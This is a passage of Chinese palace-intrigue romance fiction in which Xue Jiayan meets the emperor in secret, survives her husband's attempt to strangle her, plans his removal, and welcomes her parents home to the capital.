薛嘉言低声吩咐拾英先带棠姐儿回去,自己则跟着张鸿宝进了青瓦胡同的那间宅子。 再一次走上这条通往私宅正房的小径,薛嘉言的心,竟比第一次被召入宫时,跳得还要剧烈、还要紧张。 走到正房棉布门帘前,薛嘉言停下,右手微微抬起,正要掀开—— 门帘却从里面,被一只修长有力的手,先一步撩开了。 暖黄的光线倾泻而出,瞬间照亮了门口的一小片天地,也照亮了门内那道颀长挺拔的身影。 姜玄就站在那里。 他已脱去了外间的大氅,只着常服,他没有戴冠,墨发用一根简单的玉簪半束,几缕发丝随意垂在额前,少了几分帝王的威仪,多了几分清峻。 四目相对,姜玄眼底深处翻涌着几乎要将人灼伤的情绪。 薛嘉言喉咙发干,下意识地就想要屈膝行礼。然而,她还没来得及弯下膝盖,整个人就被一股不容抗拒的力量揽了过去! 姜玄长臂一伸,将她牢牢地、紧紧地圈进了自己怀中。 “唔……”薛嘉言猝不及防,低低惊呼半声,整个人便跌入了他温暖而坚实的胸膛。 熟悉的龙涎香气混合着他身上独有的清洌气息,铺天盖地般将她笼罩,瞬间迸发出几乎要将彼此融化的热度与思念。 三个多月的分离、担忧、猜疑、苦涩,还有方才在臻楼下那隔着人海的对望所积蓄的所有情绪,在这一刻,如同决堤的洪水,轰然冲垮了所有理智的堤防,找到了唯一的宣泄口。 薛嘉言原本僵硬的脊背瞬间软了下来。她的手出于本能地抬起,勾住了姜玄的脖颈,将他拉得更近。 而姜玄的回应,是近乎凶猛的、带着灼热气息的吻,重重地落了下来。 他的唇舌却毫无温柔试探,带着积压已久的渴望、焦灼、以及失而复得般的确认,强势的侵入,纠缠,索取。 薛嘉言闭上了眼睛,仰着头,承受并回应着这个近乎掠夺的吻。泪水不知何时再次悄悄滑落,渗入紧密相贴的唇瓣之间,带着咸涩,却也带着解脱般的酸楚与甜蜜。 不知过了多久,姜玄才终于微微松开了她。他的额头抵着她的,鼻尖相触,两人的呼吸依旧灼热而急促地交缠在一起。 他的声音喑哑得厉害,低低地唤她:“言言……” 薛嘉言的心尖颤一颤,酥麻感从脊椎一路窜上。她睁着那双被泪水洗过、此刻水光潋滟的眼眸,望进他幽深如潭的眼底,清晰地看到了其中毫不掩饰的爱恋与痛楚。 她明白了。 他或许有帝王的算计与权衡,有身不由己的顾忌与无奈,但他对她的心,远比她想象的更真、更重、也更痴。 这个认知,让她心头涌起巨大的震动,混杂着难以言喻的酸楚与一丝隐秘的恐慌。她有什么值得呢?值得他身为天子,如此念念不忘? “栖真……”她轻声回应,唤出他的表字。 姜玄的眸色瞬间更深,手臂收紧,将她更密实地拥在怀里。他拥着她,几步走到屋内那张宽大的太师椅前,自己先坐下,然后小心地调整姿势,让她侧坐在自己腿上,完全倚靠在自己怀中。 姜玄低头,下巴轻轻蹭着她的发顶,带着一丝期盼,问:“这几个月……你有想我吗?” 薛嘉言靠在他坚实的胸膛上,听着他沉稳有力的心跳,鼻端全是他令人安心的气息。这一次,她没有像以往那样或矜持、或避重就轻,而是轻轻点了点头,脸颊微红,诚实地承认:“想了。” 姜玄心里仿佛瞬间被注入了一股滚烫的暖流,融化了大片坚冰。 他忍不住又低下头,在她光洁的额头上、微红的眼角旁,落下几个细碎而温存的吻,如同对待失而复得的珍宝。 他将脸埋在她颈侧,嗅着她身上熟悉的气息,近乎呢喃地低语:“我每日……都在想你。” 前世今生,薛嘉言第一次听到这位高高在上的帝王,用如此直接、甚至带点委屈和依赖的语气,诉说他的思念。心中瞬间被一种巨大的满足感和暖意涨满,但同时,一种更深的不安与惶恐也随之滋生。 她对他说腹中骨肉是戚少亭的孩子,一个男人,尤其是一个帝王,真的能接受这种事情吗?哪怕他爱她,这份爱里,难道不会有芥蒂和屈辱吗? 她正心神不定地想着,姜玄的手,却已经轻柔地覆上了她微微隆起的腹部。他的手掌宽大温热,隔着厚厚的衣物,也能感受到那份小心翼翼的触碰。 “怀着身孕,很辛苦吧?”他问。 薛嘉言身体微微一僵,随即放松下来,低声道:“还好……现在已经习惯了。”她心中却愈发不安。 姜玄的态度实在太平静,太温柔了,甚至主动提起她的孕事,这完全出乎她的预料。他不该是这样的反应。 姜玄似乎并未察觉她内心的波澜,他的手掌在她腹部轻轻抚了抚,像是在感受那个小生命的存在,然后,他说起了另一件事: “你的粮行,这次立了大功。”他顿了顿,“鞑靼大汗巴图蒙克,前几日送来国书,对于这次寒灾我朝给予的帮助表示感谢。国书中特别提到了几家深入边地、平价售粮、稳定民心的商号,其中就有你的‘福运粮行’。” 他低头,看着她带着惊讶的眼眸,继续道:“开春后,待诸事稍定,我便让礼部提起给你封诰命的事情。有了朝廷正式册封的诰命身份,许多事情,你会更方便,也更安全。” 薛嘉言靠在姜玄怀里,感慨万千。他不想让她进宫,她原本也没想过进宫,两人就这样,似乎也没什么不好。 她抬起头,主动凑上前,在他微凉的唇上,印下一个轻柔的吻。 “谢谢你,栖真。”她轻声说,眼中水光闪动。 姜玄收紧了手臂,将她更深地拥入怀中。 第118章 心上人 姜玄的下颌轻轻蹭着薛嘉言柔软的发顶,沉默了片刻,似乎在斟酌语句,然后才低声道:“上次在这里……我说的那些话,并非你想的那个意思。宫里情况复杂,我不想你进去,不是……不是因为轻视你,或觉得你不配。” 他顿了顿,语气愈发认真,“恰恰相反,是因为那里面太危险,我不想你被卷进去,受到任何伤害。” 姜玄低头看向她的眼睛,柔声道:“你放心,言言,我会护着你的。即便在宫外,我也会让你过得越来越好,没人能轻贱你,也没人能再伤害你。” 这番解释,和他此刻眼中的郑重,让薛嘉言心中最后那点芥蒂也悄然消散了。 其实后来她也反复思量过,那日自己情绪激动,说的话未必周全,而姜玄的话,在当时的语境下,或许更多是对她说恨戚少亭把她送给他的激愤,并非真的在讽刺或嫌弃她。 她轻轻点了点头,靠回他肩头,低声道:“我知道了。我原本……也没想过要进宫。在宫外,确实更自在些。皇上若是想我了,便像今日这般,让人传召我便是。” 姜玄听着她的话,感受着她全然依赖的姿势,心头那股满足与暖意更甚。然而,数月未见,怀中又是他思之若狂的人儿,两人姿势如此亲密无间,他又是血气方刚的年纪,身体的某些反应,便不受控制地显现出来。 隔着数层衣物,那逐渐明显的变化,还是让紧贴着他的薛嘉言清晰地感知到了。她的脸颊涨得通红,连耳根都染上了绯色,身体也不自在地微微动了动。 犹豫了半晌,薛嘉言终于鼓足勇气,微微撑起身子,附到姜玄耳畔,用气声极轻、极快地说了两句话。 那是她从“避火图”上看见过的,却从未尝试过,甚至觉得难以启齿的法子。 温热的气息扑在耳廓,伴随着那细若蚊蚋却内容惊人的话语,姜玄整个人都僵住了。 随即,他素来沉稳的面容竟也“腾”地一下红了个透,连脖子都有些泛红。他眼神闪烁,不敢直视薛嘉言羞得快埋进他怀里的脸,半晌才嗫嚅着,声音干涩地道:“算、算了……这样……太委屈你了。不必如此。” 他拒绝了。 薛嘉言听他这么说,心里松了口气,却又莫名有些空落落的,她低低“嗯”了一声,不再言语,只觉得脸颊烫得惊人。 然而,姜玄却忽然握着她的手腕,牵引着她的手,缓缓地向下移去。 姜玄将脸更深地埋在她颈窝,呼吸沉重而灼热,手臂将她箍得更紧,带着她的手,生涩却坚定的,开始了另一种方式的抚慰与亲密。 不知过了多久,姜玄的身体猛地紧绷,一声低吟从他喉间溢出。 薛嘉言感觉到他身体剧烈的震颤和随之而来的放松,掌心更是传来一片濡湿滚烫的触感。 好半晌,姜玄急促的呼吸才渐渐平复下来。 他没有立刻松开她,而是就着这个姿势,侧过脸,在她汗湿的鬓角、脸颊、唇畔落下一个个细密而温柔的吻,带着事后的慵懒与无尽的眷恋。 温存依偎了片刻,屋内静谧,这时忽地响起的“咕噜噜”声,打破了满室的旖旎。 声音来自姜玄的腹部。 薛嘉言先是一怔,随即忍不住轻笑,仰头看他,惊讶地问道:“皇上晚上没有吃饭吗?” 姜玄晚上在宫中确实没怎么吃,应付完那些不得不露面的宴席流程后,只勉强用了两颗象征性的汤圆。方才又是赶路又是心绪大起大落,此刻放松下来,胃里空空的感觉便格外明显起来。 “只用了两颗汤圆。”他老实承认,语气里带着点自己都没察觉的、近乎撒娇的抱怨,“这会儿是真饿了。” 薛嘉言闻言,心中微软,便要起身:“我让人去弄些……” 话未说完,却被姜玄拉住。 他眼睛亮亮的,带着一种罕见的少年气,低声道:“别叫人弄了。咱们一起出去逛逛,看到什么好吃的便买一些。说起来,”他顿了顿,语气里带着一丝遗憾和好奇,“我还从未真正逛过京城的夜市。” 薛嘉言却有些迟疑。 元宵节人山人海,龙蛇混杂,保不齐就撞见哪家出来游玩的官眷。若是被人认出来,无论是认出她,还是认出微服的天子,后果都不堪设想。 前世那些声名狼藉、千夫所指的日子,她实在不想再来一次了。 看出她的顾虑,姜玄轻轻捏了捏她的手心,“别担心,咱们带着面具。” 元宵节本就有着戴面具游玩的习俗,用以增添趣味,也带着些许祛邪祈福的寓意。 两人相视一笑,牵着手走出正房。 姜玄唤来张鸿宝,低声吩咐了几句。不多时,张鸿宝便捧来两个制作颇为精巧的面具——一个是威风凛凛的虎头,一个是温顺可爱的鹿头。 姜玄取了虎头面具戴上,只露出一双深邃的眼和线条清晰的下颌。薛嘉言则戴上了那鹿头面具,遮住了大半张脸,只余一双盈盈妙目和柔嫩的唇瓣在外。 元宵之夜,戴面具的人本就不少,他们混入其中,确实不算突兀。 准备停当,姜玄再次紧紧握住薛嘉言的手,两人像最寻常不过的年轻爱侣一般,上马车离开这处静谧的宅邸,重新汇入长街那流光溢彩、欢声笑语的人潮之中。 长街依旧热闹非凡,灯火煌煌,各式小摊的吆喝声、孩童的嬉笑声,交织成一片充满烟火气的背景音。两人手牵着手,并肩走在熙攘的人群里,这种感觉对两人来说都无比新奇。 姜玄自出生起便困于宫墙,即便是登基后偶尔微服,也多是为了体察民情或处理要务,何曾有过这般闲情? 薛嘉言前世今生,也多是遵循着闺秀的规范,难得有这般放松自在、与心上人携手同游的时刻。 第119章 杀了她?然后呢? 姜玄的目光很快被一个举着草垛、叫卖糖葫芦的小贩吸引。 火红晶莹的山楂果,串在竹签上,裹着一层亮晶晶的糖壳,在灯下闪烁着诱人的光泽。 他觉得新鲜有趣,便指了指,示意身旁的张鸿宝去买了两串。 接过糖葫芦,他先递了一串给薛嘉言,自己掀开面具下沿,试探地咬了一口。糖壳脆甜,山楂微酸,奇妙的滋味在口中化开,让他不由挑了挑眉。 继续往前走,一处馄饨摊子的香气飘了过来。 摊主是位手脚麻利的阿婆,大锅里翻滚着乳白色的高汤,一只只元宝似的小馄饨在其中起伏,热气袅袅,香气扑鼻。 姜玄忍不住咽了咽口水,拉着薛嘉言便在那简陋却擦得干净的小木桌旁坐下。 “阿婆,下几碗馄饨来。”他扬声吩咐,声音透过面具传出,带着一丝轻快。 “好嘞!客官稍等,马上就好!”老阿婆热情地应着,利落地开始煮馄饨。 不多时,两大碗热气腾腾的馄饨便端了上来。清亮的汤底,飘着翠绿的葱花和几点香油,一只只皮薄馅嫩的馄饨安静地躺在碗中。 两人将面具的下端稍稍掀起一些,依旧遮着大半面容,各自拿起勺子。姜玄舀起一只馄饨,吹了吹气,小心地送入口中。 馄饨皮滑馅鲜,汤汁滚烫而鲜美。在这寒冷的冬夜,一口下去,从舌尖到胃里都熨帖起来,带来一种简单踏实的满足感。 姜玄忍不住满足地“嗯”了一声,眉眼舒展。 薛嘉言也尝了一口,确实美味。她侧过脸,看向身边的姜玄。隔着掀开些许的面具,能看到他微微弯起的唇角,和那双在灯火映照下、愉悦与温暖的眼睛。 两人目光相触,都不由自主地笑了起来。颇有些偷得浮生半日闲的惬意,更有一种彼此心照的甜蜜与亲昵。 周围的喧嚣仿佛都成了模糊的背景,这简陋的馄饨摊前,戴着面具的两人,心却靠得前所未有地近。 这一刻,他不是皇帝,她不是臣妻,他们只是茫茫人海中,一对因缘际会得以牵手、共享人间烟火的普通男女。 不远处,今晚负责守卫皇帝安全的苗菁轻轻摇了摇头,此刻他也想起了他的晓芸姐。 待姜玄和薛嘉言吃完馄饨,又往街道里面走去,苗菁招手叫来薄广,低声吩咐他买一碗馄饨,送回家里去,给晓芸姐尝一尝。 几日后,戚家,戚少亭坐在书房冰冷的太师椅上,手里捏着一包药粉,正是他之前交给春桃下给薛嘉言的“补药”。 他已经拿去找大夫验证过了,自己正是因为服用这药,才导致这阵子萎靡。 原来,薛嘉言早就知道了。不仅知道,她还不动声色地,将这份“厚礼”,原封不动地还给了他! 戚少亭猛地起身,双眼赤红,额角青筋暴起,接着他转身,冲着正房方向奔去。 将正房所有下人赶出去后,戚少亭冲到薛嘉言面前,一把攥住她的手腕,力道之大,几乎要捏碎她的腕骨。 “你,跟我进来!”他声音嘶哑,拽着薛嘉言就往最里面的卧室拖。 薛嘉言被他拽得踉跄,脸色白了白,她怀有身孕不敢大力反抗,只得任由戚少亭将她拖进了里间卧室。 “砰!”房门被戚少亭狠狠摔上,并从里面闩住,卧室与外间隔着好几间屋子,最是隐秘。 昏暗的室内,戚少亭将薛嘉言甩到床边,自己堵在门前,喘着粗气,死死盯着她,从怀里掏出那包粉末,摔在她面前的地上。 他咬着牙,每一个字都像是从牙缝里磨出来的,“薛氏!你竟敢给我下药?” 戚少亭双眼充血,几乎要滴出血来,那里面翻滚着愤怒。 薛嘉言稳住身形,抚了抚被捏痛的手腕,又下意识护住小腹。她低头瞥了一眼地上的东西,接着抬起眼,看向状若疯魔的戚少亭,声音清晰而冷静: “夫君这话问得好生奇怪。这不是夫君交给春桃,说是给我补身子的吗?” 她微微偏头,做出一副不解又无辜的样子,“妾身见夫君日夜为家事、前程操劳,心疼夫君身体,便将这‘上好的补药’留给夫君服用,一片赤诚之心,何错之有呢?” “你——!贱人!” 这番言论,彻底点燃了戚少亭最后的理智。他猛地扑上前,双手如同铁钳般狠狠掐住了薛嘉言纤细的脖颈! “我杀了你!你这个毒妇!贱人!”他嘶吼着,面目狰狞,手上的力道不断收紧。他要掐死这个毁了他一切的女人!就在这里!现在! 薛嘉言呼吸骤然被夺,眼前阵阵发黑,肺部火烧火燎地痛。她双手本能地死死护住自己的肚子,从几乎闭合的喉咙里,挤出破碎而冰冷的声音: “你……敢杀我?戚少亭……你想让戚家……满门抄斩吗?” 戚少亭的手,几不可察地僵了一瞬,力道却未松,反而更重,他狞笑着,唾沫几乎喷到她脸上:“满门抄斩?哈!我现在就杀了你!谁知道你肚子里是谁的野种?你以为皇上还会在乎你?他要是真在乎,这么久了,怎么一次都没来看过你?宫里一点动静都没有!他早就厌弃你了!玩腻了!” 薛嘉言呼吸不畅,几乎是气音,断断续续说道:“选秀……为何无疾而终?因为……皇上心里……有我。他看谁……都看不上眼。” 她喘息着,盯着戚少亭开始闪烁的眼神,“皇上……怎么可能厌弃我?他近日……只是太忙了。” 薛嘉言能感受到,戚少亭的力道松了些。她艰难地吞咽了一下,继续道:“前些日子……那两盆‘凤凰振羽’和‘绿萼菊……你也看到了。你不是……也说了,绝非市井凡品,难道……你还看不出……是谁送来的吗?” 那两盆珍稀菊花,戚少亭当时见到,还曾疑惑过一瞬,被薛嘉言以“高价购买”含糊过去。 此刻,这话压垮了戚少亭疯狂的杀意,也点醒了他被怒火焚烧的理智。掐着薛嘉言脖子的手,力道终于缓缓地、一点点地松懈下来。 他松开了手。 薛嘉言猛地跌坐在床边,捂住脖子,剧烈地咳嗽起来,大口大口地呼吸着空气,脸色因为缺氧和咳嗽涨得通红,眼泪不受控制地涌出。 戚少亭踉跄着后退了两步,靠在冰冷的墙壁上,目光在咳嗽不止的薛嘉言身上流连,最后目光落在她微微隆起的腹部。 杀了她?然后呢? 第120章 咎由自取 戚少亭茫然了。 如果……如果皇帝真的没有厌弃她,甚至仍在暗中关注。若将来她腹中孩子的身份被皇帝认定,自己杀了他心爱的女人和皇嗣…… 戚少亭猛地打了个寒颤,仿佛已经看到了锦衣卫破门而入、全家老少血溅当场的凄惨景象。 “你……你好……你真好……” 戚少亭指着薛嘉言,手指颤抖,最终却什么狠话也说不出来,只剩下满腔无处发泄的怨毒。 薛嘉言看着他这样子,除了一丝报复后的快感,快意过后,心底又泛起一丝说不清道不明的怜悯。 戚少亭出身卑微,能力平平,可偏偏生出同家世和能力不匹配的的能力,他只能依靠献妻、攀附这种不入流的手段,到头来一场空,真真是可怜虫。 怜悯转瞬即逝,薛嘉言的眸中只剩下一片漠然。可怜之人必有可恨之处,戚少亭落到今天这步田地,全是他咎由自取,怪不得任何人。 戚少亭仓皇崩溃的背影消失在门外,脚步声凌乱远去。几乎是同时,一直提心吊胆守在外间的拾英便冲了进来。 “主子!”她一眼就看见薛嘉言跌坐在脚踏边,单手撑着床沿,另一手抚着脖颈。待薛嘉言稍稍缓过气,抬起头,拾英更是倒吸一口凉气——那原本白皙纤细的脖颈上,赫然印着一圈清晰狰狞的指痕,触目惊心! 拾英的眼圈瞬间就红了,又惊又怒,咬牙低声道:“大爷他……他也太心狠了!怎么能下这样的毒手!”她连忙上前,搀扶着薛嘉言。 薛嘉言声音沙哑着道:“先……拿杯茶来,给我润润喉咙。” 拾英赶紧转身去倒了一杯温热的茶水,小心地递到她手中。薛嘉言接过,小口啜饮着,温水流过火烧火燎的喉咙,带来些许舒缓,却也牵动了伤处,让她微微蹙眉。 她一边慢慢喝着水,一边垂眸,心中思绪飞速转动。 原本,她的计划里,戚少亭还有“用处”。 但姜玄说开春后,便让礼部寻机为她请封诰命。有了朝廷正式册封的诰命身份,戚少亭活着,除了继续恶心她、威胁她,似乎已无更多“价值”。 既然如此……不如让他彻底消失,一了百了,还她与孩子一个长久清净。 至于让他“怎么死”……薛嘉言的眼中闪过一丝冰冷的锐光。她需要找机会,与苗菁商议一番。 拾英此时已端来一盆温水,让春桃拧了热帕子,小心翼翼地敷在薛嘉言脖颈的淤痕上。温热的感觉舒缓了些许疼痛。薛嘉言闭着眼,任由她们伺候。 日暮时分,长宜宫。 苗菁经张鸿宝通传后,入内觐见。 姜玄正在批阅奏章,闻声抬头,见是苗菁,知他必有要事禀报,便放下了朱笔。 苗菁拱手,将今日戚家发生之事,简明扼要地陈述了一遍。 话音未落,只听“砰!”一声巨响! 姜玄猛的一掌拍在坚硬的紫檀木桌案上,震得笔架砚台齐齐一跳。方才还平静无波的脸上瞬间阴云密布,眼中戾气翻涌。 “好个戚少亭!”姜玄的声音从齿缝间挤出,带着凛冽的杀意。 他胸膛起伏,显然怒极。 “苗菁!”姜玄厉声道。 “臣在!”苗菁垂首应是。 姜玄冷冷道:“将人押入北镇抚司诏狱!” “臣遵旨!”苗菁领命下去。 夜色如墨,寒风砭骨。 戚少亭胸中那股灼烧的愤懑与冰冷的绝望交织,几乎要将他逼疯。 什么孝期,什么体面,此刻都抵不过那想要麻痹一切的强烈渴望。酒一杯接一杯灌下喉,辛辣的液体灼烧着食道,却浇不灭他心头那团寒火。 直到酒楼老板陪着笑脸再三催促打烊,戚少亭才被阿吉连拖带拽地扶了出来。 主仆二人深一脚浅一脚地拐进一条通往拴马处的僻静小巷。巷内昏暗,只远处主街依稀透来些许微光。阿吉费力地将瘫软的戚少亭往马背上推,自己也累得气喘吁吁。 就在此时,几道黑影如同暗夜中扑食的蝙蝠,悄无声息地从两侧墙头阴影处骤然掠下,精准地捂嘴、锁喉、击打要害。 阿吉甚至来不及发出惊呼,便眼前一黑,软倒在地。戚少亭则被一记手刀狠狠砍在后颈,闷哼一声,醉意与痛楚交织,瞬间失去了知觉。 戚家,翌日清晨。 天刚蒙蒙亮,栾氏便如同热锅上的蚂蚁,冲进了薛嘉言居住的正院,她眼圈乌青,显然是彻夜未眠。 “少亭媳妇,你可要想想办法啊!” 栾氏一把攥住薛嘉言的手腕,声音带着哭腔和恐慌,“少亭他……他一夜未归!昨日晌午就出去了,可到现在都没个影子!这、这……可别是出了什么事啊!” 薛嘉言被她攥得手腕生疼,眉头几不可察地蹙起。 薛嘉言挣开栾氏的手,语气平淡道:“大爷或许是拜访朋友去了,昨夜天晚在别人家宿下了也未可知。我这就安排几个人去打听打听。” 她实在厌烦栾氏的哭闹与近距离接触,那只会让她想起这家人曾经的虚伪与算计。匆匆打发了惶惶不安的栾氏,薛嘉言正思忖着是否要设法给苗菁或张鸿宝递个消息,探问虚实,却见司雨脚步轻快地走了进来,脸上带着久违的明媚笑容。 “主子!”司雨的声音里透着欢喜,“门房刚传话进来,说是老爷和太太的车队已经进城,估摸着这会儿都快到家了!” 薛嘉言闻言,心头一怔。 年前,她派人给远在江南的母亲去了信,随信附上了一张五千两的银票。信中同母亲说她开了一间布庄,请母亲亲自在江南帮她采买一些布料。 薛嘉言本意是想用采购布料的琐事拖住母亲,让她安心在江南多盘桓些时日,可如今才正月里,父母竟就匆匆赶回来了? 一股混杂着惊喜与担忧的情绪涌上心头。薛嘉言低头看看自己的肚子,心情更是复杂。 无论如何,父母归家是大事,她必须立刻过去看看。 “司雨,更衣,备车。”她吩咐道,声音恢复了冷静,“回薛府。” 第121章 生疑 薛嘉言带着棠姐儿回到阔别数月的薛府时,府中正是一片久违的热闹景象。 薛千良夫妇从江南归来,带回整整几大车的各色特产,管家正指挥着众人卸车。 薛嘉言母女俩穿过前庭廊庑,径直来到后院正房。室内烧着暖暖的地龙,与外头的春寒料峭俨然两个世界。 薛嘉言与棠姐儿向端坐的父母亲郑重行礼拜见。 “快起来,快起来,我的儿,让娘好好看看!”吕氏连忙起身搀扶,目光早已在女儿身上逡巡数遍。待薛嘉言解下裹得严实的大氅交给司雨后,吕氏的目光落在了女儿明显隆起的小腹上。 吕氏侧头,对正捋着胡须、含笑看着外孙女的薛千良温声道:“老爷,咱们从江南带回来那么多新鲜有趣的玩意儿,你快带着棠姐儿去瞧瞧,咱们棠姐儿喜欢什么就挑什么。” 薛千良闻言笑呵呵地应了,上前牵起棠姐儿的小手:“来来,棠姐儿,外公带你寻宝去!” 棠姐儿眼睛一亮,乖巧地被外公牵走了。 屋内只剩下母女二人。吕氏这才拉着薛嘉言的手,将她带到暖炕边坐下,目光落在她腹部,爱怜问道:“嘉嘉,几个月了?这孩子闹腾吗?” 薛嘉言感受着母亲掌心传来的温暖,心中一酸,又觉安定。她微笑着,轻声回答:“已经五个多月了。前头有些折腾,孕吐得厉害,近来倒是安稳许多,不怎么闹了。” 吕氏眉头微蹙:“进京后我听王管事说,你公爹的葬礼上你晕倒了,这才诊出有孕。”她叹了口气,语气带着心疼与责备,“你这孩子,怎么如此不经心?自己有了身孕,竟未及早察觉?……” 薛嘉言垂下眼帘,掩饰住眸中的复杂神色。她无法对母亲言明腹中孩子的身世,只能含糊地应了一声:“是女儿大意了。娘,您怎么突然回来了?我不是请您帮忙采买布料吗?” 吕氏嗔怪道:“咱们吕家旁地不多,做生意的能手还少吗?这等小事,何须娘亲自坐镇?交代给可靠的掌柜去办便是了。原本我是打算在江南多住些时日的,可后来陆续听到些京城的消息。先是听说子脩竟一下子连升了四级!我这心啊,当时就咯噔一下。戚家是什么境况,咱们心里清楚,骤然如此高升,福祸难料。接着,又听闻你小姑子似乎卷入了什么不体面的事情……我这心里更是七上八下,再也待不住了,便催着你爹赶紧收拾回京。” 吕氏说着,脸上露出一丝无奈与气恼:“你也知道你爹那个性子!路上经过徐州,他不知怎的结识了一个老道,两人竟斗起棋来,这一斗就入了迷,一连消失了半个月!我人生地不熟,找不到他,又不敢独自带着行李先走,真是急得上火。好不容易等他回来,紧赶慢赶,偏又遇上罕见的严寒,河面冰封走不了船,官道也被冰雪阻塞,寸步难行,生生被困在济宁过了年!要不然,我们早该回来了,何至于拖到如今正月都快过完了。” 薛嘉言轻轻握住母亲的手,温言安慰:“爹的性子向来如此,娘别气坏了身子。如今平安回来了就好。” 吕氏点点头,却又想起另一桩事,眉头再次蹙起:“我们在路上,遇到了从前在咱家药铺做过三掌柜的张金,个子高高的那个,你还记得吗?听他闲聊,才知道你公爹竟然已经过世了,子脩也因此回家丁忧。细问之下,才知晓你公爹……死得那般不体面!这、这到底是怎么回事?好端端的,怎会惹上这等祸事?” 提及戚炳春之死,薛嘉言眼神微冷,但语气依旧平静:“谁知道呢。他原本就不是个安分守己的人,被革职后,终日只想走捷径,逼着我拿嫁妆银子出来为他捐官。我不愿花这个冤枉钱,只敷衍着他,他在家闲着,便寻些腌臜事做,不知怎的勾搭上了隔壁街的王寡妇,最终惹来这杀身之祸,左右是他自作孽。” 吕氏听得唏嘘不已,连连摇头:“真是造孽……弄得戚家名声这般臭,往后孩子们的婚事都要受阻。” 她沉默片刻,忽又抬起眼,问出了盘桓心头许久的疑惑:“嘉嘉,还有一事。你好端端的,怎么突然想起要开布庄了?你嫁妆里本就有一间成衣铺子打理着。而且,一口气要采买五千两银子的布料?这数目可不小,你就算开布庄,得是多大的买卖,难不成你做了皇商不成?” 薛嘉言心头微凛。母亲果然敏锐,这笔巨款的来历和用途,必须有个合理的解释。她早准备好了说辞,此刻面上露出几分不得已,低声道:“娘,您别多想。这布庄……其实也算不得是我开的买卖。” “哦?”吕氏挑眉。 “是……是一位贵人的生意。”薛嘉言斟酌着用词,“她身份特殊,不便亲自出面经营,又信得过我,便借了我的名头,托我代为打理。那五千两,是她的本金。我不过是帮她跑跑腿,管管事。” “贵人?哪位贵人?”吕氏追问,眼中狐疑未消。 薛嘉言握住母亲的手道:“娘,您就别问这么多了。总之,这位贵人……背靠皇家,根基深厚,与我也算投缘。她既找到我,便是信我,断不会害我的。” 吕氏听女儿说得笃定,又搬出了“背靠皇家”这般不容置疑的靠山,心中的疑虑并未全然消散。她深知京城水深,贵人们的心思更是莫测,女儿身处其中,怀有身孕,又刚经历戚家变故,实在让她无法完全安心。 她沉吟片刻,吕氏握住薛嘉言的手,语气温和却带着不容拒绝的关切:“嘉嘉,娘知道你是个有成算的孩子。只是……娘这心里,总归是悬着的。我在家闲着也是闲着,你爹回来了自有他的消遣。说到做生意,娘还有些能耐,或许还能帮你参谋一二。过两日,你身子若爽利,便带娘去你那布庄瞧瞧?” 第122章 调侃 薛嘉言心头微动。 母亲这是放心不下,要亲自去“验看”了。她了解母亲的性情,看似温柔和顺,实则外柔内刚,尤其在关心儿女的事情上,有着超乎寻常的敏锐与执着。若一味推拒,反而更惹猜疑。 母亲若知道她不仅开了布庄,还暗中经营着福运粮行,只怕会更加寝食难安。 然而,此事恐怕也瞒不了多久了。一旦诰命下来,她的名字与事迹必然会被置于台前,与其让母亲到时候震惊失措,不如自己提前铺垫,让她有个心理准备。 念及此,薛嘉言展颜一笑,反握住母亲的手,带着几分撒娇的依赖:“娘愿意帮我看看,那是再好不过了!有娘这把‘老将’出马,替我掌掌眼,女儿心里可就踏实多了。只是您刚回来,车马劳顿,先好生歇息两日。等过几天,我身子稳当些,便亲自陪您去铺子里瞧瞧。” 吕氏见状,心头微松,脸上露出真切的笑容:“好,好,那就这么说定了。你也别急着操心这些,眼下最要紧的是你和肚子里的孩子。万事都有爹娘呢。” 母女俩又说了会体己话,薛嘉言见母亲面有倦色,知她长途跋涉尚未缓过劲,便体贴地劝她歇息,过几日再聚。 薛嘉言出去找棠姐儿,到了前院看见父亲正蹲在地上,手里举着一只精巧的竹编飞鸟逗棠姐儿玩,那竹鸟的翅膀轻轻一拨弄,便能扑扇着上下晃动,棠姐儿仰着小脸,大眼睛里满是惊奇和欢喜。 “棠姐儿你看,外公让它飞起来!”薛千良笑呵呵地说着,手指灵活地拨动机关,竹鸟扑棱得更欢快了。阳光落在他脸上,那笑容纯粹而满足,竟有一种未经世事打磨般的童真。 父亲明明比母亲还要年长几岁,竟显得比忧思过重的母亲还要年轻精神些。 薛嘉言静静地看着这一幕,心中那复杂的情绪翻涌着。 果然,自私的人,总是活得更轻松些。 薛嘉言的手在袖中微微攥紧,关于父亲的事不知该怎么跟母亲说,又如何取信与母亲,也只好徐徐图之。 从娘家出来后,薛嘉言没有直接回戚家,而是去了苗菁的府邸。 到了苗府,得知苗菁今日当值,尚未回府,薛嘉言便与郭晓芸说了会话。 郭晓芸正在做着针线,见薛嘉言来了,忙把针线簸箩放到一旁,命人端来点心茶水招待。 薛嘉言见那簸箩里的衣裳颜色和料子都是男子常用的,她心中了然,面上便带了笑,在郭晓芸身边坐下,打趣道:“整日里就见你忙这些针线,光做衣裳哪够?也得做双鞋,再做些他爱吃的点心才是。” 郭晓芸闻言下意识接口:“都做了……”话一出口,才觉不对,抬头对上薛嘉言含笑的眸子,顿时明白过来她在调侃自己,脸颊“腾”的一下红透了。 薛嘉言忍不住掩唇轻笑,见她羞窘,更添了几分逗弄的心思,又道:“我看你这衣裳也做得差不多了。回头我让人送两匹鲜亮的好料子来,你悄悄把嫁衣先准备起来。这可不是一朝一夕就能做好的活儿。” “你别混说啦!”晓芸这下连脖子都红了,声音细如蚊蚋,“我……我这样的人,哪里配得上他。能在这里有个安身之所,已是天大的福分了……” 薛嘉言挑眉,故作不解:“咦?我说让你准备嫁衣,又没说给谁做,你怎么就知道‘配不上他’?你说的这个‘他’,又是谁呀?” “我……我……”晓芸被她问得语塞,脸烧得更厉害,又羞又急,简直不知如何是好。 她猛地站起身,慌乱道:“你、你先坐会儿,喝口茶!我……我给棠姐儿做了一身春日穿的新衣裳,针脚都收好了,正好你来了,我去拿过来给你瞧瞧!”说完,几乎是落荒而逃,快步躲进了内室。 看着她仓皇的背影,薛嘉言终于忍不住,哈哈笑了起来。 两人又说了一会话,薛嘉言没等到苗菁回来,便先回去了。 回到戚家,刚踏进二门,薛嘉言便见戚倩蓉搀扶着神色惶惶的栾氏急急迎了上来。 “嫂子!你可回来了!”戚倩蓉的声音带着哭腔,“可有我哥哥的消息了?” 薛嘉言心中平静无波,面上浮现恰到好处的忧愁与焦虑:“暂时还没有确切消息。我已经让人去了顺天府衙门和五城兵马司都报了官,应该很快就会有消息的。” 的确很快就有了消息。 